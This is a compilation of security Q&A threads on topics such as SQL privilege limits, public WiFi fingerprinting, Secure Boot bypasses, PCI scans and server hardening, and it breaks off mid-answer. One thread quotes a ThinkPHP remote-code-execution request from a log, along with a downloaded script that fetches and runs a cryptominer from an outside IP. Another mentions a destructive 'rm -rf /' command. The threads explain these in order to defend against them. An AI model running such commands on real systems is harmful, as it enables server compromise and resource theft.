How bad is allow edit a database field containing an sql from a form? I have a table in a database (Mysql) which contains a field which stores sql strings on it. I mean complete queries as text (always select statements). To modify one of that queries is a "pain in the ass" because is needed first to connect to a vpn, then access to the database and finally modify the field with some software like Mysql Workbench or any other.

I'm developing in a website a control panel only accesible by site admins. In that control panel I'm thinking in create a form to modify that sql field. It can do the admins life easier to manage it.

I'm usually very aware of being careful with sql injections in all my forms, GET and POST requests, etc. I know this could be dangerous even being a restricted panel only for admins.

First question is: If I finally decide to create it and an admin user falls under control of a hacker, how bad would it be for me? Is there a possibility to "control" the sql statements to be stored to allow only select statements?

I know that some basic techniques like replace some dangerous reserved words for nothing, like DROP for example, are useless... the hackers can use simple tricks like DRDROPOP which after replacing gets DROP anyway and that kind of dirty tricks... or maybe they can ofuscante the sqls using Unicode, etc...

Second question: Is there any good guide to try to control and filter as much as possible sql "tricks" or is useless because ALWAYS is there a method to penetrate launching other "non-select" statements?

If you really have to do this, I'd suggest a couple things:

Run your user supplied queries as a separate read-only database user. Most DBMS have permission system where you can GRANT the user permission to only be able to run SELECT queries and you can restrict which table that that user can run against.
If any of your tables contains a mix of sensitive and non-sensitive data (e.g users table contains password hashes), you might want to create a VIEW on that table to hide the sensitive data. You'd GRANT the user privilege for this VIEW instead of the underlying table. Alternatively, you can give the user access to call selected Stored Procedure/Function that filters them without giving permission to the underlying table. In some cases, you can also use column privilege.

This way, even if the admin account is compromised, it's limited to read only on selected tables.


Why shouldn't I use an old password? Some services like Google or Facebook forbid me to use a password that has already been use for the same account in the past.

My question is, if this old password was never compromised (i.e it was too long to type, and I changed for a shorter but secure one), why shouldn't I use it ?

Based on your comments to the other answers, I understand your question better now, and your point is a good one. Consider the following:

You have a Gmail account with a password that is sufficiently complex, and you've had the same password for years. Perhaps you use an email client at home to check and store your email, and you use your phone client as well. You are traveling and lose your phone. You go to the mobile store and get a new one, and they transfer your number for you to the new phone. While trying to setup Gmail on your new phone, you can't seem to remember your Gmail password, so you reset it using SMS verification, and everything is fine, except that you know your email client at home is getting annoyed because it keeps failing to connect. It's not a big deal; you realize you'll have to enter in the new password when you get home. After stopping for a coffee, you have a moment of brilliance and you suddenly remember your old Gmail password. You try to change it back to the old one but now you can't! Dejected, you go back to your hotel, sit down on the couch, and find your old phone between the seat cushions. You think back to that moment when you were trying to remember your Gmail password... "Had I only been able to remember it, then I could have kept that awesome password. But I had a moment of forgetfulness and now that perfectly good password is wasted..." Of course, had you not found your old phone, you might have wanted to change the password anyway, along with all other passwords that were automatically stored on the phone.

So why doesn't Gmail let you reuse the password? Because they have no way of knowing you found your old phone.

In other words, they don't know why you changed it in the first place, so they simply assume you changed your password because you accidentally tweeted your old one to the entire world, just in case.


What information is provided when connnecting to public WiFi? I know that the MAC address is provided, but it can be spoofed.

What other information would they be able to obtain about your computer to be able to uniquely identify you?
If so, is there anyway to prevent them from doing so?

I have already tried VPNs and they are entirely blocked.

There are many methods which can help in discovering information about devices and people on the network, however it is difficult to get the exact identity of someone.

Browser Fingerprinting

Browser fingerprinting is one technique that can glean information about your device.

  Device fingerprinting or browser fingerprinting is the systematic
  collection of information about a remote device, for identification
  purposes. Client-side scripting languages allow the development of
  procedures to collect very rich fingerprints: browser and operating
  system type and version, screen resolution, architecture type, lists
  of fonts, plugins, microphone, camera, etc.

From https://amiunique.org/faq

See what a fingerprint can identify here

The public network may have a sign in page where it can see your browser fingerprint.

Although it is unlikely for a browser fingerprint to be able to identify exactly who the user is, it can show some useful information which could give a general indication of who the user could be.

Prevention

There are some methods which can be used to make it more difficult to be tracked:

Make yourself more common

By making yourself look more common your fingerprint becomes less unique and therefore you are more difficult to track.

An example of how you can do this is by using a common browser. This will make yourself fit in with everyone else and make your fingerprint less unique.

Disable JavaScript

This is a good defense tactic as it prevents websites from detecting data such as fonts and plugins. An example of a browser plugin to block JavaScript is NoScript.

Logs

The public WiFi may log their users activity which may be of use for them identifying users. Consider the following scenario:

Unusual activity from a device is detected. Logs are examined, and it is shown that the device connected to the public WiFi at 14:50. Looking over CCTV, it can be seen that there was only one person at that time using a laptop. They now know what that person looks like, their gender, etc.

Even if you aren't the only person on the network, the number of people that could be there is reduced by physical restrictions.

Prevention

This is a difficult thing to prevent, as you most likely don't have direct access to where the logs are stored.

Cookies

Cookies may also be of use to identify the user. If you are to sign into the public WiFi under your real name and then sometime later you sign in anonymously, the cookies can show that it is the same person signing in.

Prevention

This can easily be combatted by simply disabling cookies in the browser.

MAC Address

MAC addresses can be used to uniquely identify devices in a local network. Your identity could be discovered if the network owners were able to get physical access to devices on their network. However, this is a weak method since MACs can be so easily spoofed an infinite number of times.

Prevention

As already mentioned, this threat can be eliminated by spoofing your MAC address. If you wanted you could change your MAC address to a previous user on the network to make tracing your identity more difficult.

Hostnames

The hostnames of devices could identify the user behind the device. For example, iPhones default to yourName's iPhone. People may have also manually set their hostnames to include a keyword which can identify the user.

Prevention

Prevention is pretty easy: set the hostname to something that doesn't relate to you. If you wanted to make yourself being traced more difficult, you could include a fake name in the hostname.

Monitoring Traffic

This method will be able to get the most personal information about you. The websites and type of websites you visit may expose your true identity. If you log into a website which uses plaintext, your username can be viewed and identified to you. You might also be sending personal data such as photos and phone numbers which link back to you.

Prevention

You could prevent your traffic being monitored by using a VPN which would encrypt all your traffic, making it unreadable to others.

Conclusion

There are many methods which can be used to gather information regarding your identify, and it is difficult to eliminate all of these methods.

Although these techniques can gather lots of information, it would still be difficult to find the true identity of someone.


How to get information about segments of physical memory not described in System.map on linux When I do in linux root shell cat /boot/System.map-$(uname -r) it returns me segments of memory but there is a big gap around phys_startup_64:
00000000000228c0 D softnet_data
0000000000022a80 d rt_uncached_list
0000000000022ac0 d rt6_uncached_list
0000000000023000 d kvm_apic_eoi
0000000000023040 d steal_time
0000000000023080 d apf_reason
0000000000024000 D __per_cpu_end
0000000001000000 A phys_startup_64
ffffffff81000000 T _stext
ffffffff81000000 T _text
ffffffff81000000 T startup_64
ffffffff81000030 T secondary_startup_64
ffffffff810000e0 T verify_cpu
ffffffff810001e0 T start_cpu0
ffffffff810001f0 T __startup_64
ffffffff810003f0 T pvh_start_xen

I know that after  __per_cpu_end there are some PCI devices and understand even root user wouldn't have full access due to security reasons, but what are there any switches or ways to recompile kernel to learn about this on live system, using live addresses and devices?
What exacts kinds of memory ranges are reserved and for what particular reasons ?

Your System.map file contains virtual addresses of static symbols of the table. It is not a physical memory map of your system. The virtual memory space is not contiguous and can have large holes in it, the specific layout depends on choices made by the kernel developers. On x86_64 bit linux, negative addresses (i.e. those with the high bits set, such as 0xffffffff81000000) are reserved by the kernel for kernel mode. Check out the Linux x86 memory map for more information on how the kernel lays out its virtual memory space.
If you want more information on what's where in the kernel, the kernel exposes its symbol table to the root user if it's compiled with the KALLSYMS option in /proc/kallsyms. There's a detailed explanation of the difference between /proc/kallsyms and System.map in this question.
Finally, if you are interested in the physical memory map of the system, that is provided by the BIOS or UEFI to the system on boot. Your kernel logs this to the kernel message buffer (which you can query using dmesg) pretty early on in the boot:
[    0.000000] BIOS-provided physical RAM map:
[    0.000000]  BIOS-e820: 0000000000000000 - 0000000000098c00 (usable)
[    0.000000]  BIOS-e820: 0000000000098c00 - 00000000000a0000 (reserved)
[    0.000000]  BIOS-e820: 00000000000e6000 - 0000000000100000 (reserved)
[    0.000000]  BIOS-e820: 0000000000100000 - 00000000bfea0000 (usable)
[    0.000000]  BIOS-e820: 00000000bfeae000 - 00000000bfeb0000 type 9
[    0.000000]  BIOS-e820: 00000000bfeb0000 - 00000000bfec0000 (ACPI data)
[    0.000000]  BIOS-e820: 00000000bfec0000 - 00000000bfef0000 (ACPI NVS)
[    0.000000]  BIOS-e820: 00000000bfef0000 - 00000000c0000000 (reserved)
[    0.000000]  BIOS-e820: 00000000ffc00000 - 0000000100000000 (reserved)
[    0.000000]  BIOS-e820: 0000000100000000 - 0000000c40000000 (usable)

You can find this information at runtime in /sys/firmware/memmap.


How do I prove that robots.txt was not provded I want to scrape our university's learning platform website, to let myself know via notifications when a new entry added to any lesson.
But, I'm scared that they'll put robots.txt afterwards and sue me or something, I don't know. I just don't have any experience of this. I just know that I should look at robots.txt before scraping any website.
And I think they've just forgotten the put it for know.
Anyways, how do I ensure beforehand and take proof of it that it didn't exists when I was scraping. Anything that my proof is valid.

robots.txt means nothing
The Simpsons explain it pretty well:

robots.txt is not an "access restriction", but instead merely a polite request to a complying web crawler not to index something. A web crawler can simply disregard this file and index whatever it wants anyways.
If you want to be sure, simply send them an e-mail and ask for permission. Or you know, just do it. A web-crawler that runs once an hour and does a few hundred requests with one request per 500ms won't disturb any server.


Can name and date of birth be hashed somehow to generate a secure identifier? I'm working on a project which we intend to launch for developing countries, and, as a result, want to limit the amount of information needed for login and identification, while still maintaining individual privacy and security.

Speaking to the team, it became clear that passwords are a no-go, as users may end up accessing the service only when they have a third-party providing the opportunity to access the internet (once or twice a year even). Remembering passwords, using emails, or anything of the sort would not work in that scenario.

The whole thing is I need to store some data about each user, and I don't wanna have any idea whose data it is. It isn't especially sensitive data, but I'm trying to build something that preserves privacy as much as possible.

I'm therefore wondering how to identify users with information they know and do not need to put any extra effort into remembering.

As a result, we've narrowed usable information down to: Full Name and Date of Birth (even DoB can be a problem for some). Intuitively, it doesn't look like one could build something very secure with that data. One key flaw with name and DoB is that one can easily go through all combinations for "John Smith" with all possible dates of birth and find a matching hash.

Therefore, a rough solution we have in mind is to hash name and DoB and use as "username" (all happening in the background of course). Some additional measures would be to scramble the date of birth and add a salt to the hash.

The authentication would then happen via facial recognition. The idea is to encrypt a picture of the user with some combination of the name and DoB as well, so at least it isn't as easily accessible to the database admin.

A user would log in only with their name, DoB and picture, in a system that would first search through the hashes until it finds a match, then decrypt the corresponding picture and compare the two pictures to allow login or not.

In summary, the user credentials would be something like:

SHA256(NAME + SCRAMBLED_DOB + SALT) => AES(PICTURE_DATA, (NAME+SCRAMBLED_DOB))

The salt could also be added to the encryption of the picture, such that, at login:

All potential versions of the SCRAMBLED_DOB are tested with multiple salts until a hash contained in the database is found
That specific hash and sequence of digits from the DoB found from Step 1 are used to decrypt the image
Image is compared with the image submitted at login, which is then discarded

This process could get long, but depending on how long, it may be acceptable in the name of privacy.

So, essentially, what I'm wondering is:

Would SHA256(NAME + SCRAMBLED_DOB + SALT) be safe enough, given the requirements of the project?
Any suggestions for a better way to encrypt the picture?
Any suggestions for this system overall?

Thanks in advance!

If you don't trust the third-party providing the opportunity to access the internet at the login stage, you should not trust at any stage. They can save any data entered, including data related to facial recognition. Also they can store any data that you users receive from your server. The risk of such misuse is high, because such data cost money.

Brute-forcing of NAME + SCRAMBLED_DOB + SALT is trivial, because the number of births dates is very small. To represent all possible birth dates in the last 100 years only 15 bits are needed. If you have 1 000 000 people in your database, this would mean just 20 bit. This is 35 bits in total. This means, your database can be easily brute-forced. You can slow it down by using Argon2 or similar instead of SHA256. But it will be still too easy to brute-force. The reason is, that possible secrets are not random, they are very easy to guess.

In case somebody is interested in decrypting data of particular person, it is even more simple. Such decryption can be done immediately, without any brute-forcing.

Your words until a hash contained in the database is found mean that you are going to store hashes in your database. This makes brute-forcing even easier. An attacker doesn't even need to search through different births dates, through names. Instead, the attacker will just take hashes that you store and will just iterate them and will easily find what hashes to what encrypted data are used.

What should you care about? There are many points. Here are some:

Make sure that connection from user to your system is secure. If it is not secure, soon or later there will be people or companies, that misuse that and will collect data about your users. You will cheat users if your will not explain that to them. Also requesting some kinds of information via insecure channels can be a legal problem even in many developing countries.
Any measures like encrypting data in your database make little sense if communication channel is not secure.
Establish reliable authentication. Many people in developing countries have mobile phones. That's why besides passwords consider sending one-time password per SMS.


Does the CT system "enforce" CA's to log issued certificates? If a CA, who is otherwise acting good and participating in the Certificate Transparency system, were to issue a certificate without reporting it to any log, would this be noticed somehow?

I'm thinking the answer to this is no, but I'm not certain.

The only way I see that it could work is if the issued certificates themselves somehow are linked via hashes or something, but as far as I can tell that's not case.

(The log entries are linked via the Merkel hash tree, but that just stops the Logs from being manipulated)

It would not be noticed if a certificate is just issued. It would be noticed though if the certificate gets used in practice since the validation against the CT log will fail (it is not in there). And it will notice if there is no CT information in the certificate even though it is required for the CA.

For more see How will Certificate Transparency be enforced?


Does analysing Malicious code in gdb pose a security risk? I have encountered a Malicious Shell-Code & i have ported the shellcode into a compatible C Code which can run the shellcode, i compiled it using
gcc -fno-stack-protector -z execstack shellcode.c -o code which gives output ELF file code, i am planning to analyze the File by using gdb ./code command to see the functions & to research the Shell-Code.

Now my question is does an Untrusted ELF file running in gdb can cause File execution outside gdb ? Because if the shell-code is rm -rf / --no-preserve-root that it is a security Implication or a Shell-code which uses Remote connection is also a Threat, so does command gdb ./code runs the code completely or just simply port the code to gdb, because after that i can use Breakpoints before shell code execution to analyze.

Any answer would be appreciated.

It certainly does.  gdb will not isolate the process at all and will merely give you some control over it to understand what it does.

To do that kind of analysis, you should resort to a fully isolated system such as a VM with no network access.

Break points will be respected, but you should always account for human errors which can have drastic consequences.  Should you be good enough to safely debug an unknown obfuscated program, you wouldn't need to run it as you would simply read the code to know what it does, which would be risk free.


Paypal and PCI Compliance I currently manage a few of my client's websites on a couple shared hosting providers "A2Hosting" and "Interserver".
My client wants to make a simple webstore and accept payments from said webstore. I was going to implement this by passing off the transaction to PayPal, letting them handle the entire checkout part and handle all credit card information.

Will this be PCI Compliant (SAQ-A I hope) on my end? I currently have the website SSL locked down with "Let's Encrypt". I will be storing no user payment information in the databases and will not be touching any payment information on my server (handing it off to PayPal entirely).

Do I have to file anything for this? Or will simply attaining an AoC from PayPal be enough to cover this?

At a minimum you would need to fill out the SAQ A or SAQ A-EP.  PayPal appears to have a partnership with a QSA, SecurityMetrics, and also covers the cost:

How do I complete a Self-Assessment Questionnaire (SAQ) to validate PCI compliance for my PayPal powered by Braintree account?

If you accept cards, however, there is no way to escape some amount of PCI compliance, and SAQ A/A-EP are the lightest.


Why is it okay to run NGiNX or Apache Web Server as root on port 80/443 and not your app directly? Just like the title says, I would like to understand:

what are the implications of running a custom app (like node or flask) on port 80/443.
Is running a reverse proxy like Nginx mandatory from a security point of view?
What if I run Nginx as root user and we discover a security vulnerability today? Wouldn't that make the custom app and Nginx both great security risks?
What is the most secure (and standard) way to handle traffic on port 80 or 443, if its not Nginx?

Here are a few details that might help clarify the situation:

Ports less than 1024 are (in most OSes) privileged ports that require root to run anything on them.  This is intended as a security feature to make it more difficult for an attacker to host services on important ports on a compromised server.  As a result, root is required to run anything on port 80 or 443.
While Nginx and Apache will run on port 80 or 443, as little as possible is done as root.  Both immediately spawn a non-root subprocess to work from. The master root process is only used to bind to the privileged ports.  Nginx also doesn't run any "apps" itself, but instead communicates with the app running as a completely separate process - hopefully also a low-privilege one.
You don't want to run your application as root because then if someone finds a RCE vulnerability in it, your system will be very compromised.  Of course any RCE vulnerability is bad, but running your application as a low-privilege user is just part of defense in depth, and generally a good idea.

So to spell it out, you don't want to run a custom app directly on port 80/443 because doing so requires you to be root, and you don't want to do that because it's just inviting more trouble in the event of a compromise.  However, this is no different than anyone else.  While Apache and Nginx will run as root, any application hosted through them typically does not.

This also means that a RCE vulnerability in Apache or Nginx would be very valuable to attackers (if it happens to affect the portion of the application running as root) and, while they do happen, I would say that they are substantially less common than RCE vulnerabilities in your typical web application. That's why it is better to let Apache/Nginx listen on 80/443 instead of your app.


Firefox Desktop Shortcut Being Renamed On my Vista PC the Firefox shortcut icon is being randomly renamed. The name changes to some variation of a recently visited URL. This unwanted action has survived several version updates. Of course I suspect a possible malware issue but as an IT professional I have tested many AV/AntiMalware programs on this PC over time which have not found any issues. I have also tried a variety of related file attrib changes without success. As this is an administrative PC I hate to to think that it might be spreading a well hidden malware instance, perhaps more damaging than just this nuisance symptom. Any thoughts?

PS  Appreciate the lucid and practical information presented on this site. Well done.

To try to identify what's going on, I suggest the Sysinternals process monitor. Add a filter for file access and see if you can find what is touching it. If that doesn't show it, check for rootkits. If that doesn't show it, somebody thinks you're special and you've got something relatively unique going on.


Strange GET request to my web application I developed a Django application for a school project and I hosted it on an EC2 instance to test and learn the environment.

During inspection of the logs, I found the following GET request,

"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://205.185.113.123/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1" 200 9472

This seems strange because I don't use PHP, I guess that someone assumed I use PHP, then tried to download and run a script ex.sh from 205.185.113.123. The content of that script is,

cd /tmp; wget http://205.185.113.123/mcoin; chmod 777 mcoin; ./mcoin -o 205.185.113.123:3333 -p x -k -a cryptonight -B --max-cpu-usage=90; rm -rf RjsWs
cd /tmp; wget http://205.185.113.123/sefa.x86; chmod 777 sefa.x86; ./sefa.x86 xd
rm -rf ex.sh

Since I don't know web apps and security much, I have some questions,

Is this an attack? If so, what is the name of this attack?
Can this attack be adapted for Django instead of PHP?
Is this normal for web apps? Do they always get these kind of requests?
According to https://ipinfo.info/, the IP address is registered for a company called FranTech Solutions. Are they related to this attack?
Is this illegal? If so, can I take legal action?

This is trying to exploit a remote code execution vulnerability in ThinkPHP. So yes, someone is attempting to attack.
Yes, although this specific one is specific for ThinkPHP, there are also regularly vulnerabilities for Django
Yes, this is very common for web apps. This is not the only type of request to attack and a succesful attacker might change the log file so you don't notice there was an attack. In my opinion a publicy hosted web app which processes non-public information (this also includes usernames/passwords for login) should not be done for a school project, at least without professional consulting because of the risks like stolen data. Even with only publicy available information it can cause damage like costs for computing costs like when the attacker uses it as crypto miner (like in your case) and manages to spin up more instances.
FranTech Solutions seems to rent out servers. So it might be FranTech Solutions, it might be a customer of FranTech Solutions or it might be someone hacked a customer of FranTech Solutions.
Wether it is illegal or not depends on the juristication. But typically police will not be interested in attempts without significant damage. You might send a complaint to FranTech Solutions and if they get enough complaints they might or might not shut down the server or customer or they might or might not just inform the customer of the server that the server might got hacked and the customer might or might not fix the server.

Typically webmasters will ignore such log entries after making sure they aren't vulnerable because it is so common, especially if the website has more than 100 users.


What method to compress English by hand has the highest compression ratio? Solitaire is a method for encrypting messages by hand. Reading it though, the only advantage the Solitaire has over a one time pad is that it can encrypt longer messages. It requires a new, random key for each message, just like OTP. In fact, schneir even recommends you keep messages short, limiting the length advantage.

However, the fact that a key is stored in a deck does limit the length quite a bit. A deck can only hold about 225 bits of information. OTP can only send messages smaller than the key. If you are encoding your message using, say, ASCII, that's only about 28 characters.

However, English has been empirically measured to have only 1 bit of entropy per character. That means that, after compression, you could send a 225 character message!

My question is, what are some methods to compress English that you can do by hand? It should be able to work on short messages, although you may assume the sender and receiver have some sort of shared state that could help. This state is allowed to be calculated using a computer before hand.

EDIT: As a clarification, it should be possible to compress any message, and get the exact message back when you decompress (i.e. we aren't considering lossy compression).

One method I thought of was to create a Huffman encoding where the symbols are English words, and provide the encoder and decoder with a dictionary for the codes of each word. Perhaps even better and more general would be a something based on finite state machines. The encoder and decoder would have separate state machines. To encode a message, it passed through the encoding machine which then spits out a code. To decode, the code is passed through the decoding machine which then spits out the original message. (Note that code here means "compressed message", not "encrypted message". Encryption is a separate process.) The finite state machines could be found using a computer, presumably, and represented via a large (book sized) table.

You could probably have the highest compression ratio with a predefined dictionary. It could go as far as mapping a single compressed bit¹ to hundreds of pages detailing the war plans for the army.

If your scenario involves a couple of spies, they could communicate using a code book with a few keywords, on a simplified language. On the other hand, if they were writers exchanging their new novels, they would be very unhappy about any shade getting lost through the encryption layer.

¹ The error rate would be extremely high, though


What are the potential consequences of the Windows 10 "Golden Key" attack to end users, in simple terms? Today, tech media outlets are discussing the discovery of an integrated backdoor hidden within the SecureBoot feature of mobile Windows 10 operating systems. It seems that, from a surface reading of the nature of the vulnerability, that exploitation requires physical access. That is to say, it doesn't seem to be an attack that can be performed remotely; an attacker would need to actually steal the device to make use of it.

What sort of use might this vulnerability have to an attacker with respect to end-users (what sort of scenarios does it open up to an attacker), and what (if any) mitigating steps should an end-user take?

SecureBoot is a part of UEFI and other firmwares that can be used to verify signatures on the software that will be loaded at boot. This is usually a bootloader, but it can also be the OS itself.

On some implementations the user can "burn" a custom certificate for the firmware to use for validation. In other cases the certificates are preloaded by the manufacturer and only software signed by them can be used on the device.

Embedded devices like phones and tablets usually fall under the second category, where the user can't change the installed software except where allowed by the manufacturer (i.e., an OS update).

By breaking this lock, users would be allowed to install anything they want. This is usually called "jailbreaking" the device.

The problem with jailbreaking is that it also allows bad actors to compromise the device at a low level, which makes the threats more persistent and difficult to detect.

Different devices have had different methods for jailbreaking accross the years. In this case it was a snafu by Microsoft that allowed it. From the original write up (perhaps NSFW):

  [secure boot policy is] a file in a binary format that's embedded
  within an ASN.1 blob, that is signed. It's loaded by bootmgr REALLY
  early into the windows boot process. It must be signed by a
  certificate in db. It gets loaded from a UEFI variable in the
  secureboot namespace (therefore, it can only be touched by boot
  services). There's a couple .efis signed by MS that can provision such
  a policy, that is, set the UEFI variable with its contents being the
  policy.

This is a very clever and extensible scheme that was broken by an overlook during development:

  During the development of Windows 10 v1607 'Redstone', MS added a new
  type of secure boot policy. Namely, "supplemental" policies that are
  located in the EFIESP partition (rather than in a UEFI variable), and
  have their settings merged in, dependant on conditions (namely, that a
  certain "activation" policy is also in existance, and has been loaded
  in).
  [...] The "supplemental" policy contains new elements, for the merging
  conditions. These conditions are (well, at one time) unchecked by
  bootmgr when loading a legacy policy. And bootmgr of win10 v1511 and
  earlier certainly doesn't know about them. To those bootmgrs, it has
  just loaded in a perfectly valid, signed policy.

In other words, they have a signed policy that allows them to load unsigned binaries, presumably to allow for testing development versions without having to sign each one.

They accidentally shipped this policy in some devices, someone discovered it and published it, and it can now be loaded on any device.

The write-up goes into a lot more detail about how it works. The point is that this is a jailbreak exploit. For some it's good news, for others not so much.

Successfull exploitation requires admin rights or physical access.

@Bradley mentioned in the comments that "It makes it easier for malware that is already on your pc to take over the boot progress and completely overtake your pc". While true, it means the malware already had admin rights on the device, so the boot compromise is the least of your problems.

Microsoft has stated:

  The jailbreak technique described in the researchers’ report on August
  10 does not apply to desktop or enterprise PC systems. It requires
  physical access and administrator rights to ARM and RT devices and
  does not compromise encryption protections.

But that may have been an understatement. They released two patches: MS16-094 and MS16-100. The first one states:

  An attacker must have either administrative privileges or physical
  access to install a policy and bypass Secure Boot.

  This security update is rated Important for all supported editions of
  Windows 8.1, Windows RT 8.1, Windows Server 2012, Windows Server 2012
  R2, and Windows 10.
  [...]
  The security update addresses the vulnerability by blacklisting
  affected policies.

So it's either root or physical access, as mentioned before.

And it does affect desktops and servers (see comments discussion for speculation on why they might have said it didn't).

Also, the policy blacklisting was deemed insufficient: rolling back to an older bootmgr could still allow for the policy to be loaded (this is mentioned in the write up). The second patch also blacklists old boot managers to address that.

TL;DR: Patch your windows systems and don't worry too much about this. There are far worse issues.


What type of 'security scan' does a PCIDSS compliance check comprise? Our firm processes CC information on an ad hoc basis.  No cardholder data is ever recorded in any of our databases and we do not grant public access to any of our database or business application servers either.

None-the-less, we are being levied a PCI non-compliance fee each month.  So when I raised this issue our accounting department contacted the service provider and they informed us that we needed to give them permission to perform a security scan.

So, what does this 'scan' test for? other than the non-answer 'compliance, silly'

Based on your description, this sounds like a PCI Approved Scanning Vendor (ASV) scan.  This is the program guide that explains more of what an ASV is required to account for:  https://www.pcisecuritystandards.org/documents/ASV_Program_Guide_v2.pdf

At a very high level, ASV scans look for certain types of vulnerabilities on Internet-exposed systems.  This may include configuration issues, missing patches and other things of that nature.

What they will want to scan are external IP addresses that are part of your Cardholder Data Environment (CDE).  Given you do handle credit card data, even though you do not retain the cards, at least some portion of your environment will be considered CDE.  The PCI DSS standard, also available on the site above, goes into more detail on scoping a CDE.


How to decrypt a file to memory and run it from memory? How someone might run an encoded executable, mp3, or any other file safely in memory after being decrypted.
A use case might be someone trying to make code or a file only usable through their service or software, which is my case, I don't want a user to simply steal my code so when stored on their filesystem my goal is for it to be encrypted. But the big problem with that is that I'm not sure how to decrypt it and run it without it touching the disk.
I have done some research and haven't really found a clear or well explained solution to the problem, the only solution I found was outdated and turned out the decrypted file was actually written to the disk at one point in the process of the "solution".
So if anyone has any solution to this problem I would very much appreciate it as my research has failed me.

This will be very OS dependent. Any code coming from the outside, no matter how it is created, the OS must assume that it is malicious. An OS created in the 1980s would have just ignored that fact. Today, it is most likely that you have to make some OS call that marks the decrypted data as code, and a call to execute the code inside a sandbox.
If you decrypt data which is then processed, you must also assume that it is malicious, and the code processing it must make sure that it cannot cause any damage by processing malicious data. With .mp3 files that’s not too difficult. Of course someone could send you encrypted image files that get you arrested if you decrypt them.


If there is a TCP unencrypted packet sent to and encrypted data streaming APP what would happen? If I am using a encryption between two computers and the encryption key is predetermined (know hand shake) and an attacker can not and does not know the encryption key. If I create a TCP connection between computer A and B. If the attacker intercepts the connection and sends TCP data which is not encrypted back to one of the computers with the correct sequence number etc what would happen to that TCP packet?

Would it get modified with the decryption key and the then the application will try to run the code making error because it does not make any sense Or what what will be the result?

Would it just packet be accepted and run by the application? Or what would happen?

Would it get modified with the decryption key and the then the application will try to run the code making error because it does not make any sense Or what what will be the result?

There is nothing inherent in TCP which would make an application run any code send by the other side. TCP is just for data transfer. But of course there could be an application protocol on top of TCP which is used to send code to the other side of the connection and this other side could then execute the code.

The behavior then depends on this application protocol and how it deals with encrypted data. If it uses for example TLS as encryption layer and tampering with existing packets or injection of new packets will be noticed. But if you design your own application protocol and ignore such kind of attacks you might create a protocol which is vulnerable to such injections.


Is it possible to determine the specific version of a website's web server? I know I can use tools such as BuiltWith and Wappalyzer to find a web app's web server, but is there a way of determining the specific web server's version?

The web app I am looking at has a nginx web server, and I am trying to determine the specific version of the web server to find explicit vulnerabilities and exploits.

There is no general way to reliably determine the exact server version from remote and it is not even possible to reliably get the more general type of server (i.e. apache, nginx, IIS ...).

While the server might include its version in the Server field of the response header or in error messages, this might be only the type of server and not the exact version. And even if there seem to be detailed information available they might not be true - it is not that unusual to provide fake information there is order to lead potential attackers to a false track.


Can web connections from a virtual machine guest using NAT attract attacks from the Web to the host? The hosts OS might be Windows 7 and its firewall activated and the visualization is done by Virtual Box , but I think these details are less important.

This question might be related in some way to this which focuses on bridged mode, but my focus here is on using NAT.

Edit:

Can malicious sites one visits from inside the VM, identify the host, scan its ports etc.

The short answer is "yes". If a guest is infected, it could certainly attempt a vulnerability scan of other devices on your network, including the host OS. This is assuming you haven't done something like placing the guest OS's network adaptor into a different VLAN or something similar. I doubt you have. Another way to avoid this would be to leave the host OS with an IP stack that isn't configured, thus mmaking it unable to communicate with the rest of the network. This also assumes it doesn't grab an address via DHCP. This is certainly an option if you don't plan to use the host OS for anything other than running guest VMs. But if you use the host OS for anything network related, then this may not be an option.


How do I harden compilers (as suggested by Lynis)? This article suggests to restrict compilers to root, but does not say how, and I couldn't find anything useful by searching the Web.

ii  g++                                4:5.3.1-1ubuntu1                    i386         GNU C++ compiler
ii  g++-5                              5.4.0-6ubuntu1~16.04.1              i386         GNU C++ compiler
ii  gcc                                4:5.3.1-1ubuntu1                    i386         GNU C compiler
ii  gcc-4.7                            4.7.4-3ubuntu12                     i386         GNU C compiler
ii  gcc-4.7-base:i386                  4.7.4-3ubuntu12                     i386         GCC, the GNU Compiler Collection (base package)
ii  gcc-4.8                            4.8.5-4ubuntu2                      i386         GNU C compiler
ii  gcc-4.8-base:i386                  4.8.5-4ubuntu2                      i386         GCC, the GNU Compiler Collection (base package)
ii  gcc-5                              5.4.0-6ubuntu1~16.04.1              i386         GNU C compiler
ii  gcc-5-base:i386                    5.4.0-6ubuntu1~16.04.1              i386         GCC, the GNU Compiler Collection (base package)
ii  gcc-6-base:i386                    6.0.1-0ubuntu1                      i386         GCC, the GNU Compiler Collection (base package)

Which of these compilers can I remove (on a Ubuntu Web server)?
Should I remove interpreters like Python and Ruby too?
Which Bash commands can I use to harden required compilers?

Security is always a balance between ease of use and protection. The most secure system I can imagine is a switched off computer lying in a bank safe. Unfortunately it is also hard to use... Removing compilers or worse restricting them to root on a test or dev system would be nonsense: either you can no longer use it, or you will always log in as root. Things go differently on a production only server where they can normally be removed.

But I can hardly imagine how removing a compiler could secure an Ubuntu server. As for any Debian-like systems, packages are generally installed in binary form, meaning that if an attacker has write access to a folder, he can deposit a program built on his own machine and use it there. And if he has no write access, it will not be able to build an executable file either.

This advice, as many other on security by obfuscation looks like snake oil. That should not cause many harm, but won't really secure anything either... But it is something that is easy to implement in a automatic auditing tools, and can be sold

If you really want to secure a production server, don't focus on compilers, but carefully remove all network (and generic) tools that are not used there, and configure the firewalls to block as many incoming and outgoing connections as possible: if one server was compromised, it will really be harder for the attacker to bounce onto another one. But this cannot be done by an automatic tool because it must be adapted to the actual environment and precise use case of the server. Once this is done, it is possible that the compilers will already have gone away but honestly I would not care. If you want to go one step further, also build a custom kernel containing only drivers used in your environment - ok, you cannot build a kernel if you have removed compilers, but it should be built and tested on the dev or pre-prod system. That way script kiddies trying to use usual kernel addresses won't be able to find them.

TL/DR: my advice is that you do not know what compiler can safely be removed or how you could restrict them to root, do not even try to do it. Just follow the common best practices:

never use root account for anything that does not require it
only sudo individual commands or for a short time
never let a server running as root (except for its initialization time...) and ensure that it leaves all unnecessary privileges before accepting requests
secure your firewall the best you can and forbid all unnecessary accesses
do not install unnecessary or non controlled software

And do not trust automatic auditing tools for more than they can do. A serious security audit really costs time and money...


Do human challenge-response authentication schemes exist? As far as I know, challenge-response authentication schemes employ a shared secret (or two halves of a key pair) and an irreversible function which combines the secret and a challenge into a response that proves that the client knows the secret, but doesn't actually expose the secret to an eavesdropper.

Does such a secret and function exist that it would be feasible to calculate the response to a challenge in one's head?

I might be wrong but very spontaneously:
